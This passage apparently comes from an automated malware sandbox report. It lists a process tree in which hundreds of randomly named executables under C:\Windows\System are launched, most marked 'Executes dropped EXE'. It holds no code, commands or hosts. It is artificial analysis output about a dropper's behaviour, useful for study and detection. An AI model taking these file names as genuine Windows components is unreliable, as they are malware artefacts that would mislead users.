  - Executes dropped EXE
  PID:1764
- C:\Windows\System\PqtiKTd.exe
  C:\Windows\System\PqtiKTd.exe
  2⤵
  - Executes dropped EXE
  PID:2340
- C:\Windows\System\jsvQgxN.exe
  C:\Windows\System\jsvQgxN.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\iYTuncq.exe
  C:\Windows\System\iYTuncq.exe
  2⤵
  - Executes dropped EXE
  PID:1912
- C:\Windows\System\ZkfKqRg.exe
  C:\Windows\System\ZkfKqRg.exe
  2⤵
  - Executes dropped EXE
  PID:1116
- C:\Windows\System\XrCgjyZ.exe
  C:\Windows\System\XrCgjyZ.exe
  2⤵
  - Executes dropped EXE
  PID:2056
- C:\Windows\System\VfKXnNZ.exe
  C:\Windows\System\VfKXnNZ.exe
  2⤵
  - Executes dropped EXE
  PID:1220
- C:\Windows\System\eftaiiI.exe
  C:\Windows\System\eftaiiI.exe
  2⤵
  - Executes dropped EXE
  PID:1328
- C:\Windows\System\sDyFdhy.exe
  C:\Windows\System\sDyFdhy.exe
  2⤵
  - Executes dropped EXE
  PID:788
- C:\Windows\System\NZpsVhK.exe
  C:\Windows\System\NZpsVhK.exe
  2⤵
  - Executes dropped EXE
  PID:1588
- C:\Windows\System\TZgZmtq.exe
  C:\Windows\System\TZgZmtq.exe
  2⤵
  - Executes dropped EXE
  PID:1576
- C:\Windows\System\VptBAMf.exe
  C:\Windows\System\VptBAMf.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\SAPgfpB.exe
  C:\Windows\System\SAPgfpB.exe
  2⤵
  - Executes dropped EXE
  PID:240
- C:\Windows\System\wiaWxUA.exe
  C:\Windows\System\wiaWxUA.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\MyCKaSz.exe
  C:\Windows\System\MyCKaSz.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\jgdYumz.exe
  C:\Windows\System\jgdYumz.exe
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Windows\System\LyiGxWP.exe
  C:\Windows\System\LyiGxWP.exe
  2⤵
  - Executes dropped EXE
  PID:576
- C:\Windows\System\sQLwdEg.exe
  C:\Windows\System\sQLwdEg.exe
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Windows\System\wJlhsXi.exe
  C:\Windows\System\wJlhsXi.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\iXbQpxy.exe
  C:\Windows\System\iXbQpxy.exe
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Windows\System\mkLFkPG.exe
  C:\Windows\System\mkLFkPG.exe
  2⤵
  - Executes dropped EXE
  PID:2844
- C:\Windows\System\CFpgoCP.exe
  C:\Windows\System\CFpgoCP.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\UfJOlLX.exe
  C:\Windows\System\UfJOlLX.exe
  2⤵
  - Executes dropped EXE
  PID:1540
- C:\Windows\System\pWmQeei.exe
  C:\Windows\System\pWmQeei.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\sZhHYlF.exe
  C:\Windows\System\sZhHYlF.exe
  2⤵
  - Executes dropped EXE
  PID:2560
- C:\Windows\System\BRDREyd.exe
  C:\Windows\System\BRDREyd.exe
  2⤵
  - Executes dropped EXE
  PID:2688
- C:\Windows\System\jmZguZV.exe
  C:\Windows\System\jmZguZV.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\ZGinRvL.exe
  C:\Windows\System\ZGinRvL.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\mRFeTXG.exe
  C:\Windows\System\mRFeTXG.exe
  2⤵
  - Executes dropped EXE
  PID:2544
- C:\Windows\System\BFpyboo.exe
  C:\Windows\System\BFpyboo.exe
  2⤵
  - Executes dropped EXE
  PID:2424
- C:\Windows\System\iVcNlWl.exe
  C:\Windows\System\iVcNlWl.exe
  2⤵
  - Executes dropped EXE
  PID:1808
- C:\Windows\System\ENAYIUj.exe
  C:\Windows\System\ENAYIUj.exe
  2⤵
  - Executes dropped EXE
  PID:556
- C:\Windows\System\eIfVIkx.exe
  C:\Windows\System\eIfVIkx.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\eDmRCDV.exe
  C:\Windows\System\eDmRCDV.exe
  2⤵
  PID:2332
- C:\Windows\System\BllAret.exe
  C:\Windows\System\BllAret.exe
  2⤵
  - Executes dropped EXE
  PID:1728
- C:\Windows\System\LplghYk.exe
  C:\Windows\System\LplghYk.exe
  2⤵
  PID:2140
- C:\Windows\System\vQQWnlp.exe
  C:\Windows\System\vQQWnlp.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\AwbNqJZ.exe
  C:\Windows\System\AwbNqJZ.exe
  2⤵
  PID:1868
- C:\Windows\System\PwUPluI.exe
  C:\Windows\System\PwUPluI.exe
  2⤵
  - Executes dropped EXE
  PID:1932
- C:\Windows\System\ZGReiLr.exe
  C:\Windows\System\ZGReiLr.exe
  2⤵
  PID:2776
- C:\Windows\System\pIdpRRc.exe
  C:\Windows\System\pIdpRRc.exe
  2⤵
  PID:2928
- C:\Windows\System\QYukvDR.exe
  C:\Windows\System\QYukvDR.exe
  2⤵
  PID:392
- C:\Windows\System\iFwqEwb.exe
  C:\Windows\System\iFwqEwb.exe
  2⤵
  PID:1900
- C:\Windows\System\dalnoYo.exe
  C:\Windows\System\dalnoYo.exe
  2⤵
  PID:1756
- C:\Windows\System\lXSzCDL.exe
  C:\Windows\System\lXSzCDL.exe
  2⤵
  PID:1416
- C:\Windows\System\QdZXZSC.exe
  C:\Windows\System\QdZXZSC.exe
  2⤵
  PID:2980
- C:\Windows\System\UUfDESd.exe
  C:\Windows\System\UUfDESd.exe
  2⤵
  PID:968
- C:\Windows\System\ROgtuVk.exe
  C:\Windows\System\ROgtuVk.exe
  2⤵
  PID:320
- C:\Windows\System\dXUpazZ.exe
  C:\Windows\System\dXUpazZ.exe
  2⤵
  PID:1604
- C:\Windows\System\YIDlhBZ.exe
  C:\Windows\System\YIDlhBZ.exe
  2⤵
  PID:1644
- C:\Windows\System\LURRIoQ.exe
  C:\Windows\System\LURRIoQ.exe
  2⤵
  PID:3056
- C:\Windows\System\LGGtqpP.exe
  C:\Windows\System\LGGtqpP.exe
  2⤵
  PID:1560
- C:\Windows\System\VqbQSLE.exe
  C:\Windows\System\VqbQSLE.exe
  2⤵
  PID:2840
- C:\Windows\System\Yikdimx.exe
  C:\Windows\System\Yikdimx.exe
  2⤵
  PID:2124
- C:\Windows\System\IQezjee.exe
  C:\Windows\System\IQezjee.exe
  2⤵
  PID:2572
- C:\Windows\System\GUexvYS.exe
  C:\Windows\System\GUexvYS.exe
  2⤵
  PID:3064
- C:\Windows\System\NDUBusi.exe
  C:\Windows\System\NDUBusi.exe
  2⤵
  PID:108
- C:\Windows\System\GytdWnO.exe
  C:\Windows\System\GytdWnO.exe
  2⤵
  PID:1228
- C:\Windows\System\kluDByY.exe
  C:\Windows\System\kluDByY.exe
  2⤵
  PID:1592
- C:\Windows\System\NqbltVi.exe
  C:\Windows\System\NqbltVi.exe
  2⤵
  PID:2292
- C:\Windows\System\vOTuVZx.exe
  C:\Windows\System\vOTuVZx.exe
  2⤵
  PID:868
- C:\Windows\System\fsMjZhn.exe
  C:\Windows\System\fsMjZhn.exe
  2⤵
  PID:1704
- C:\Windows\System\kvpXgjc.exe
  C:\Windows\System\kvpXgjc.exe
  2⤵
  PID:568
- C:\Windows\System\xROFPkw.exe
  C:\Windows\System\xROFPkw.exe
  2⤵
  PID:1444
- C:\Windows\System\clzJMft.exe
  C:\Windows\System\clzJMft.exe
  2⤵
  PID:2860
- C:\Windows\System\LWuhhKb.exe
  C:\Windows\System\LWuhhKb.exe
  2⤵
  PID:900
- C:\Windows\System\JpBBHGs.exe
  C:\Windows\System\JpBBHGs.exe
  2⤵
  PID:2232
- C:\Windows\System\sGBaZYS.exe
  C:\Windows\System\sGBaZYS.exe
  2⤵
  PID:1536
- C:\Windows\System\kBxrpGu.exe
  C:\Windows\System\kBxrpGu.exe
  2⤵
  PID:2916
- C:\Windows\System\kxwbUEv.exe
  C:\Windows\System\kxwbUEv.exe
  2⤵
  PID:1000
- C:\Windows\System\QlioSXR.exe
  C:\Windows\System\QlioSXR.exe
  2⤵
  PID:2904
- C:\Windows\System\bhpPLRM.exe
  C:\Windows\System\bhpPLRM.exe
  2⤵
  PID:2976
- C:\Windows\System\uUaWPtw.exe
  C:\Windows\System\uUaWPtw.exe
  2⤵
  PID:2492
- C:\Windows\System\nbZpusB.exe
  C:\Windows\System\nbZpusB.exe
  2⤵
  PID:2412
- C:\Windows\System\nLJXzqu.exe
  C:\Windows\System\nLJXzqu.exe
  2⤵
  PID:2712
- C:\Windows\System\gYTlKjs.exe
  C:\Windows\System\gYTlKjs.exe
  2⤵
  PID:1920
- C:\Windows\System\TAggnvf.exe
  C:\Windows\System\TAggnvf.exe
  2⤵
  PID:2900
- C:\Windows\System\KKkCCGj.exe
  C:\Windows\System\KKkCCGj.exe
  2⤵
  PID:2360
- C:\Windows\System\oyKJFYR.exe
  C:\Windows\System\oyKJFYR.exe
  2⤵
  PID:1476
- C:\Windows\System\NjbGjXH.exe
  C:\Windows\System\NjbGjXH.exe
  2⤵
  PID:1796
- C:\Windows\System\EdxPShZ.exe
  C:\Windows\System\EdxPShZ.exe
  2⤵
  PID:672
- C:\Windows\System\HYNAiXW.exe
  C:\Windows\System\HYNAiXW.exe
  2⤵
  PID:380
- C:\Windows\System\XcHpbnw.exe
  C:\Windows\System\XcHpbnw.exe
  2⤵
  PID:2912
- C:\Windows\System\sbyoUzW.exe
  C:\Windows\System\sbyoUzW.exe
  2⤵
  PID:412
- C:\Windows\System\NqjrOFY.exe
  C:\Windows\System\NqjrOFY.exe
  2⤵
  PID:1248
- C:\Windows\System\lIoKqhD.exe
  C:\Windows\System\lIoKqhD.exe
  2⤵
  PID:2152
- C:\Windows\System\rTUAiwd.exe
  C:\Windows\System\rTUAiwd.exe
  2⤵
  PID:2680
- C:\Windows\System\AkqxDsU.exe
  C:\Windows\System\AkqxDsU.exe
  2⤵
  PID:976
- C:\Windows\System\TaVJOVp.exe
  C:\Windows\System\TaVJOVp.exe
  2⤵
  PID:280
- C:\Windows\System\Hcyofyp.exe
  C:\Windows\System\Hcyofyp.exe
  2⤵
  PID:2488
- C:\Windows\System\QiqJSLa.exe
  C:\Windows\System\QiqJSLa.exe
  2⤵
  PID:1876
- C:\Windows\System\bvACEcL.exe
  C:\Windows\System\bvACEcL.exe
  2⤵
  PID:1440
- C:\Windows\System\PuRVLXS.exe
  C:\Windows\System\PuRVLXS.exe
  2⤵
  PID:2556
- C:\Windows\System\KeRNitq.exe
  C:\Windows\System\KeRNitq.exe
  2⤵
  PID:2012
- C:\Windows\System\dzWLhzO.exe
  C:\Windows\System\dzWLhzO.exe
  2⤵
  PID:472
- C:\Windows\System\Pyudtwl.exe
  C:\Windows\System\Pyudtwl.exe
  2⤵
  PID:2600
- C:\Windows\System\pAPYSdi.exe
  C:\Windows\System\pAPYSdi.exe
  2⤵
  PID:2072
- C:\Windows\System\OFHQGAg.exe
  C:\Windows\System\OFHQGAg.exe
  2⤵
  PID:2304
- C:\Windows\System\ElqypSf.exe
  C:\Windows\System\ElqypSf.exe
  2⤵
  PID:2496
- C:\Windows\System\eNAhoTe.exe
  C:\Windows\System\eNAhoTe.exe
  2⤵
  PID:2308
- C:\Windows\System\QYYUNyu.exe
  C:\Windows\System\QYYUNyu.exe
  2⤵
  PID:2608
- C:\Windows\System\cOwrjov.exe
  C:\Windows\System\cOwrjov.exe
  2⤵
  PID:1256
- C:\Windows\System\dOTfPIp.exe
  C:\Windows\System\dOTfPIp.exe
  2⤵
  PID:1752
- C:\Windows\System\MojEFae.exe
  C:\Windows\System\MojEFae.exe
  2⤵
  PID:2524
- C:\Windows\System\LgafxsZ.exe
  C:\Windows\System\LgafxsZ.exe
  2⤵
  PID:1760
- C:\Windows\System\oaJWGmY.exe
  C:\Windows\System\oaJWGmY.exe
  2⤵
  PID:2668
- C:\Windows\System\qlakxGr.exe
  C:\Windows\System\qlakxGr.exe
  2⤵
  PID:288
- C:\Windows\System\rRKWaph.exe
  C:\Windows\System\rRKWaph.exe
  2⤵
  PID:872
- C:\Windows\System\xBDjzMD.exe
  C:\Windows\System\xBDjzMD.exe
  2⤵
  PID:2532
- C:\Windows\System\PjQrAze.exe
  C:\Windows\System\PjQrAze.exe
  2⤵
  PID:1012
- C:\Windows\System\gbbXYbF.exe
  C:\Windows\System\gbbXYbF.exe
  2⤵
  PID:452
- C:\Windows\System\qGSvssh.exe
  C:\Windows\System\qGSvssh.exe
  2⤵
  PID:2576
- C:\Windows\System\dHKtOob.exe
  C:\Windows\System\dHKtOob.exe
  2⤵
  PID:2436
- C:\Windows\System\SdlFauQ.exe
  C:\Windows\System\SdlFauQ.exe
  2⤵
  PID:2848
- C:\Windows\System\MCpXqYp.exe
  C:\Windows\System\MCpXqYp.exe
  2⤵
  PID:888
- C:\Windows\System\OhXhHXR.exe
  C:\Windows\System\OhXhHXR.exe
  2⤵
  PID:3028
- C:\Windows\System\OLtceZa.exe
  C:\Windows\System\OLtceZa.exe
  2⤵
  PID:2628
- C:\Windows\System\iZVWTDd.exe
  C:\Windows\System\iZVWTDd.exe
  2⤵
  PID:2972
- C:\Windows\System\OJMkQAM.exe
  C:\Windows\System\OJMkQAM.exe
  2⤵
  PID:272
- C:\Windows\System\KlYTmKc.exe
  C:\Windows\System\KlYTmKc.exe
  2⤵
  PID:1516
- C:\Windows\System\EiqsCHA.exe
  C:\Windows\System\EiqsCHA.exe
  2⤵
  PID:2136
- C:\Windows\System\xslpwrV.exe
  C:\Windows\System\xslpwrV.exe
  2⤵
  PID:1936
- C:\Windows\System\IPzpSOy.exe
  C:\Windows\System\IPzpSOy.exe
  2⤵
  PID:1960
- C:\Windows\System\GXBHbMD.exe
  C:\Windows\System\GXBHbMD.exe
  2⤵
  PID:2780
- C:\Windows\System\hdbVdsi.exe
  C:\Windows\System\hdbVdsi.exe
  2⤵
  PID:724
- C:\Windows\System\FTNbCcf.exe
  C:\Windows\System\FTNbCcf.exe
  2⤵
  PID:708
- C:\Windows\System\UgPaeIo.exe
  C:\Windows\System\UgPaeIo.exe
  2⤵
  PID:2096
- C:\Windows\System\gPUWNhq.exe
  C:\Windows\System\gPUWNhq.exe
  2⤵
  PID:1420
- C:\Windows\System\mFNXaWC.exe
  C:\Windows\System\mFNXaWC.exe
  2⤵
  PID:1432
- C:\Windows\System\LyrPypU.exe
  C:\Windows\System\LyrPypU.exe
  2⤵
  PID:852
- C:\Windows\System\uonFQLN.exe
  C:\Windows\System\uonFQLN.exe
  2⤵
  PID:1748
- C:\Windows\System\QolEayK.exe
  C:\Windows\System\QolEayK.exe
  2⤵
  PID:2924
- C:\Windows\System\PAvHNTW.exe
  C:\Windows\System\PAvHNTW.exe
  2⤵
  PID:780
- C:\Windows\System\qnkIRZY.exe
  C:\Windows\System\qnkIRZY.exe
  2⤵
  PID:2720
- C:\Windows\System\IfsAACK.exe
  C:\Windows\System\IfsAACK.exe
  2⤵
  PID:3084
- C:\Windows\System\zWmLRcT.exe
  C:\Windows\System\zWmLRcT.exe
  2⤵
  PID:3104
- C:\Windows\System\dKdglPy.exe
  C:\Windows\System\dKdglPy.exe
  2⤵
  PID:3120
- C:\Windows\System\ZgZBwDu.exe
  C:\Windows\System\ZgZBwDu.exe
  2⤵
  PID:3136
- C:\Windows\System\yUmVBOL.exe
  C:\Windows\System\yUmVBOL.exe
  2⤵
  PID:3152
- C:\Windows\System\lQmnjNW.exe
  C:\Windows\System\lQmnjNW.exe
  2⤵
  PID:3168
- C:\Windows\System\fGdsBSj.exe
  C:\Windows\System\fGdsBSj.exe
  2⤵
  PID:3184
- C:\Windows\System\eZQXfih.exe
  C:\Windows\System\eZQXfih.exe
  2⤵
  PID:3200
- C:\Windows\System\ADAevtC.exe
  C:\Windows\System\ADAevtC.exe
  2⤵
  PID:3220
- C:\Windows\System\elCQidB.exe
  C:\Windows\System\elCQidB.exe
  2⤵
  PID:3236
- C:\Windows\System\DNLmqvP.exe
  C:\Windows\System\DNLmqvP.exe
  2⤵
  PID:3252
- C:\Windows\System\BPPnQfT.exe
  C:\Windows\System\BPPnQfT.exe
  2⤵
  PID:3268
- C:\Windows\System\CWKNMrT.exe
  C:\Windows\System\CWKNMrT.exe
  2⤵
  PID:3284
- C:\Windows\System\WYoRHcu.exe
  C:\Windows\System\WYoRHcu.exe
  2⤵
  PID:3300
- C:\Windows\System\zmPpdDV.exe
  C:\Windows\System\zmPpdDV.exe
  2⤵
  PID:3316
- C:\Windows\System\KgVNjQU.exe
  C:\Windows\System\KgVNjQU.exe
  2⤵
  PID:3336
- C:\Windows\System\PBJErwv.exe
  C:\Windows\System\PBJErwv.exe
  2⤵
  PID:3352
- C:\Windows\System\eLSFFiR.exe
  C:\Windows\System\eLSFFiR.exe
  2⤵
  PID:3368
- C:\Windows\System\kYjZHLC.exe
  C:\Windows\System\kYjZHLC.exe
  2⤵
  PID:3384
- C:\Windows\System\IeMyAni.exe
  C:\Windows\System\IeMyAni.exe
  2⤵
  PID:3400
- C:\Windows\System\YNeafOu.exe
  C:\Windows\System\YNeafOu.exe
  2⤵
  PID:3416
- C:\Windows\System\OwBOKME.exe
  C:\Windows\System\OwBOKME.exe
  2⤵
  PID:3436
- C:\Windows\System\gCRIXco.exe
  C:\Windows\System\gCRIXco.exe
  2⤵
  PID:3452
- C:\Windows\System\pczJEwN.exe
  C:\Windows\System\pczJEwN.exe
  2⤵
  PID:3468
- C:\Windows\System\lChMdOQ.exe
  C:\Windows\System\lChMdOQ.exe
  2⤵
  PID:3484
- C:\Windows\System\llcxrwc.exe
  C:\Windows\System\llcxrwc.exe
  2⤵
  PID:3500
- C:\Windows\System\GJJhnRj.exe
  C:\Windows\System\GJJhnRj.exe
  2⤵
  PID:3516
- C:\Windows\System\diUWfWO.exe
  C:\Windows\System\diUWfWO.exe
  2⤵
  PID:3532
- C:\Windows\System\fIqYkgX.exe
  C:\Windows\System\fIqYkgX.exe
  2⤵
  PID:3556
- C:\Windows\System\auwsTZI.exe
  C:\Windows\System\auwsTZI.exe
  2⤵
  PID:3572
- C:\Windows\System\oDwqoUG.exe
  C:\Windows\System\oDwqoUG.exe
  2⤵
  PID:3588
- C:\Windows\System\lBfXWCU.exe
  C:\Windows\System\lBfXWCU.exe
  2⤵
  PID:3604
- C:\Windows\System\gYFGBla.exe
  C:\Windows\System\gYFGBla.exe
  2⤵
  PID:3620
- C:\Windows\System\VwFfuRf.exe
  C:\Windows\System\VwFfuRf.exe
  2⤵
  PID:3636
- C:\Windows\System\LwCGEpd.exe
  C:\Windows\System\LwCGEpd.exe
  2⤵
  PID:3652
- C:\Windows\System\favNPpM.exe
  C:\Windows\System\favNPpM.exe
  2⤵
  PID:3668
- C:\Windows\System\ELDaEmy.exe
  C:\Windows\System\ELDaEmy.exe
  2⤵
  PID:3688
- C:\Windows\System\ClBHyEK.exe
  C:\Windows\System\ClBHyEK.exe
  2⤵
  PID:3704
- C:\Windows\System\FAkLJJw.exe
  C:\Windows\System\FAkLJJw.exe
  2⤵
  PID:3720
- C:\Windows\System\HRZlOvz.exe
  C:\Windows\System\HRZlOvz.exe
  2⤵
  PID:3736
- C:\Windows\System\tuuZITx.exe
  C:\Windows\System\tuuZITx.exe
  2⤵
  PID:3752
- C:\Windows\System\DBRgXEb.exe
  C:\Windows\System\DBRgXEb.exe
  2⤵
  PID:3940
- C:\Windows\System\CvfzKfV.exe
  C:\Windows\System\CvfzKfV.exe
  2⤵
  PID:3956
- C:\Windows\System\MuXABoi.exe
  C:\Windows\System\MuXABoi.exe
  2⤵
  PID:3976
- C:\Windows\System\FYlRhZf.exe
  C:\Windows\System\FYlRhZf.exe
  2⤵
  PID:3992
- C:\Windows\System\dQlAEDb.exe
  C:\Windows\System\dQlAEDb.exe
  2⤵
  PID:4008
- C:\Windows\System\RaTMXMO.exe
  C:\Windows\System\RaTMXMO.exe
  2⤵
  PID:4024
- C:\Windows\System\ZFFoQHO.exe
  C:\Windows\System\ZFFoQHO.exe
  2⤵
  PID:4040
- C:\Windows\System\dGAbpJe.exe
  C:\Windows\System\dGAbpJe.exe
  2⤵
  PID:4056
- C:\Windows\System\OofqrAM.exe
  C:\Windows\System\OofqrAM.exe
  2⤵
  PID:4072
- C:\Windows\System\pvdQlFb.exe
  C:\Windows\System\pvdQlFb.exe
  2⤵
  PID:4092
- C:\Windows\System\oNaGHoS.exe
  C:\Windows\System\oNaGHoS.exe
  2⤵
  PID:2172
- C:\Windows\System\oLfKDgu.exe
  C:\Windows\System\oLfKDgu.exe
  2⤵
  PID:1708
- C:\Windows\System\LtAedpz.exe
  C:\Windows\System\LtAedpz.exe
  2⤵
  PID:3060
- C:\Windows\System\BvrTOng.exe
  C:\Windows\System\BvrTOng.exe
  2⤵
  PID:3076
- C:\Windows\System\cInUZqw.exe
  C:\Windows\System\cInUZqw.exe
  2⤵
  PID:3148
- C:\Windows\System\UFDjwiE.exe
  C:\Windows\System\UFDjwiE.exe
  2⤵
  PID:2080
- C:\Windows\System\dsSaDYm.exe
  C:\Windows\System\dsSaDYm.exe
  2⤵
  PID:3308
- C:\Windows\System\tzCPGHE.exe
  C:\Windows\System\tzCPGHE.exe
  2⤵
  PID:3376
- C:\Windows\System\JgIxEij.exe
  C:\Windows\System\JgIxEij.exe
  2⤵
  PID:1372
- C:\Windows\System\uvxsKBJ.exe
  C:\Windows\System\uvxsKBJ.exe
  2⤵
  PID:3508
- C:\Windows\System\JvnkCHW.exe
  C:\Windows\System\JvnkCHW.exe
  2⤵
  PID:3548
- C:\Windows\System\oaCOnpZ.exe
  C:\Windows\System\oaCOnpZ.exe
  2⤵
  PID:3612
- C:\Windows\System\OiWzogO.exe
  C:\Windows\System\OiWzogO.exe
  2⤵
  PID:3676
- C:\Windows\System\RVNtiZv.exe
  C:\Windows\System\RVNtiZv.exe
  2⤵
  PID:3716
- C:\Windows\System\WyqjkHz.exe
  C:\Windows\System\WyqjkHz.exe
  2⤵
  PID:3216
- C:\Windows\System\VVCINEB.exe
  C:\Windows\System\VVCINEB.exe
  2⤵
  PID:3948
- C:\Windows\System\BoKxHnq.exe
  C:\Windows\System\BoKxHnq.exe
  2⤵
  PID:4104
- C:\Windows\System\oQcnQwr.exe
  C:\Windows\System\oQcnQwr.exe
  2⤵
  PID:4120
- C:\Windows\System\jtgnXqP.exe
  C:\Windows\System\jtgnXqP.exe
  2⤵
  PID:4136
- C:\Windows\System\yzWoDdl.exe
  C:\Windows\System\yzWoDdl.exe
  2⤵
  PID:4152
- C:\Windows\System\OOyBOFs.exe
  C:\Windows\System\OOyBOFs.exe
  2⤵
  PID:4172
- C:\Windows\System\SFEEkVg.exe
  C:\Windows\System\SFEEkVg.exe
  2⤵
  PID:4188
- C:\Windows\System\eFERZzl.exe
  C:\Windows\System\eFERZzl.exe
  2⤵
  PID:4204
- C:\Windows\System\CtOWigB.exe
  C:\Windows\System\CtOWigB.exe
  2⤵
  PID:4220
- C:\Windows\System\DBRSnHl.exe
  C:\Windows\System\DBRSnHl.exe
  2⤵
  PID:4236
- C:\Windows\System\wTIsCUB.exe
  C:\Windows\System\wTIsCUB.exe
  2⤵
  PID:4252
- C:\Windows\System\GFXpRIL.exe
  C:\Windows\System\GFXpRIL.exe
  2⤵
  PID:4268
- C:\Windows\System\QRHuYfE.exe
  C:\Windows\System\QRHuYfE.exe
  2⤵
  PID:4284
- C:\Windows\System\HIbejBo.exe
  C:\Windows\System\HIbejBo.exe
  2⤵
  PID:4304
- C:\Windows\System\NucxoCB.exe
  C:\Windows\System\NucxoCB.exe
  2⤵
  PID:4320
- C:\Windows\System\fqPJJZU.exe
  C:\Windows\System\fqPJJZU.exe
  2⤵
  PID:4336
- C:\Windows\System\VHzGAlW.exe
  C:\Windows\System\VHzGAlW.exe
  2⤵
  PID:4352
- C:\Windows\System\hKOgRMC.exe
  C:\Windows\System\hKOgRMC.exe
  2⤵
  PID:4368
- C:\Windows\System\PSLDCCT.exe
  C:\Windows\System\PSLDCCT.exe
  2⤵
  PID:4388
- C:\Windows\System\eVHEjCA.exe
  C:\Windows\System\eVHEjCA.exe
  2⤵
  PID:4404
- C:\Windows\System\QFJulOI.exe
  C:\Windows\System\QFJulOI.exe
  2⤵
  PID:4612
- C:\Windows\System\gmmDRRo.exe
  C:\Windows\System\gmmDRRo.exe
  2⤵
  PID:4628
- C:\Windows\System\yaSmvgu.exe
  C:\Windows\System\yaSmvgu.exe
  2⤵
  PID:4644
- C:\Windows\System\ifZhqdt.exe
  C:\Windows\System\ifZhqdt.exe
  2⤵
  PID:4660
- C:\Windows\System\ouFwDPs.exe
  C:\Windows\System\ouFwDPs.exe
  2⤵
  PID:4676
- C:\Windows\System\TZZwxka.exe
  C:\Windows\System\TZZwxka.exe
  2⤵
  PID:4692
- C:\Windows\System\ktKpEqi.exe
  C:\Windows\System\ktKpEqi.exe
  2⤵
  PID:4712
- C:\Windows\System\YorBBdy.exe
  C:\Windows\System\YorBBdy.exe
  2⤵
  PID:4728
- C:\Windows\System\PlUHAzf.exe
  C:\Windows\System\PlUHAzf.exe
  2⤵
  PID:4744
- C:\Windows\System\zsxEVDO.exe
  C:\Windows\System\zsxEVDO.exe
  2⤵
  PID:4764
- C:\Windows\System\obQeStj.exe
  C:\Windows\System\obQeStj.exe
  2⤵
  PID:4780
- C:\Windows\System\yjENQdn.exe
  C:\Windows\System\yjENQdn.exe
  2⤵
  PID:4796
- C:\Windows\System\LZMreRq.exe
  C:\Windows\System\LZMreRq.exe
  2⤵
  PID:4812
- C:\Windows\System\axODsOj.exe
  C:\Windows\System\axODsOj.exe
  2⤵
  PID:4828
- C:\Windows\System\OQdMHiH.exe
  C:\Windows\System\OQdMHiH.exe
  2⤵
  PID:4844
- C:\Windows\System\eKumiGQ.exe
  C:\Windows\System\eKumiGQ.exe
  2⤵
  PID:4864
- C:\Windows\System\vLZSUff.exe
  C:\Windows\System\vLZSUff.exe
  2⤵
  PID:4880
- C:\Windows\System\gsIwfRI.exe
  C:\Windows\System\gsIwfRI.exe
  2⤵
  PID:4896
- C:\Windows\System\LOLYimN.exe
  C:\Windows\System\LOLYimN.exe
  2⤵
  PID:4912
- C:\Windows\System\jbEtfFE.exe
  C:\Windows\System\jbEtfFE.exe
  2⤵
  PID:4928
- C:\Windows\System\kXhKBhP.exe
  C:\Windows\System\kXhKBhP.exe
  2⤵
  PID:4944
- C:\Windows\System\pByiwfd.exe
  C:\Windows\System\pByiwfd.exe
  2⤵
  PID:4964
- C:\Windows\System\EIirOSI.exe
  C:\Windows\System\EIirOSI.exe
  2⤵
  PID:4980
- C:\Windows\System\yHxcHeh.exe
  C:\Windows\System\yHxcHeh.exe
  2⤵
  PID:4996
- C:\Windows\System\whOEljD.exe
  C:\Windows\System\whOEljD.exe
  2⤵
  PID:5012
- C:\Windows\System\VRvgARj.exe
  C:\Windows\System\VRvgARj.exe
  2⤵
  PID:5028
- C:\Windows\System\pVuPYhw.exe
  C:\Windows\System\pVuPYhw.exe
  2⤵
  PID:5044
- C:\Windows\System\gBRLqrO.exe
  C:\Windows\System\gBRLqrO.exe
  2⤵
  PID:5060
- C:\Windows\System\XYKrLyl.exe
  C:\Windows\System\XYKrLyl.exe
  2⤵
  PID:5080
- C:\Windows\System\StKJXuJ.exe
  C:\Windows\System\StKJXuJ.exe
  2⤵
  PID:5096
- C:\Windows\System\qNUaaqA.exe
  C:\Windows\System\qNUaaqA.exe
  2⤵
  PID:5112
- C:\Windows\System\WPKnpxU.exe
  C:\Windows\System\WPKnpxU.exe
  2⤵
  PID:4080
- C:\Windows\System\cDXdEzd.exe
  C:\Windows\System\cDXdEzd.exe
  2⤵
  PID:3952
- C:\Windows\System\ZssDAjl.exe
  C:\Windows\System\ZssDAjl.exe
  2⤵
  PID:1484
- C:\Windows\System\yvCCAUU.exe
  C:\Windows\System\yvCCAUU.exe
  2⤵
  PID:296
- C:\Windows\System\ODXiWTt.exe
  C:\Windows\System\ODXiWTt.exe
  2⤵
  PID:3580
- C:\Windows\System\Nkxheah.exe
  C:\Windows\System\Nkxheah.exe
  2⤵
  PID:3544
- C:\Windows\System\bNuubuI.exe
  C:\Windows\System\bNuubuI.exe
  2⤵
  PID:4148
- C:\Windows\System\VfsfIbC.exe
  C:\Windows\System\VfsfIbC.exe
  2⤵
  PID:4216
- C:\Windows\System\nbXmqXb.exe
  C:\Windows\System\nbXmqXb.exe
  2⤵
  PID:4280
- C:\Windows\System\VTQGSMl.exe
  C:\Windows\System\VTQGSMl.exe
  2⤵
  PID:4376
- C:\Windows\System\OajTDKQ.exe
  C:\Windows\System\OajTDKQ.exe
  2⤵
  PID:4420
- C:\Windows\System\flPMWiN.exe
  C:\Windows\System\flPMWiN.exe
  2⤵
  PID:3348
- C:\Windows\System\NUPHhQS.exe
  C:\Windows\System\NUPHhQS.exe
  2⤵
  PID:4448
- C:\Windows\System\uYRyRLc.exe
  C:\Windows\System\uYRyRLc.exe
  2⤵
  PID:3712
- C:\Windows\System\hKqRHYX.exe
  C:\Windows\System\hKqRHYX.exe
  2⤵
  PID:4476
- C:\Windows\System\qaWNoWN.exe
  C:\Windows\System\qaWNoWN.exe
  2⤵
  PID:4492
- C:\Windows\System\FiQEXBd.exe
  C:\Windows\System\FiQEXBd.exe
  2⤵
  PID:4548
- C:\Windows\System\kjTjmZi.exe
  C:\Windows\System\kjTjmZi.exe
  2⤵
  PID:4708
- C:\Windows\System\MvDGRTj.exe
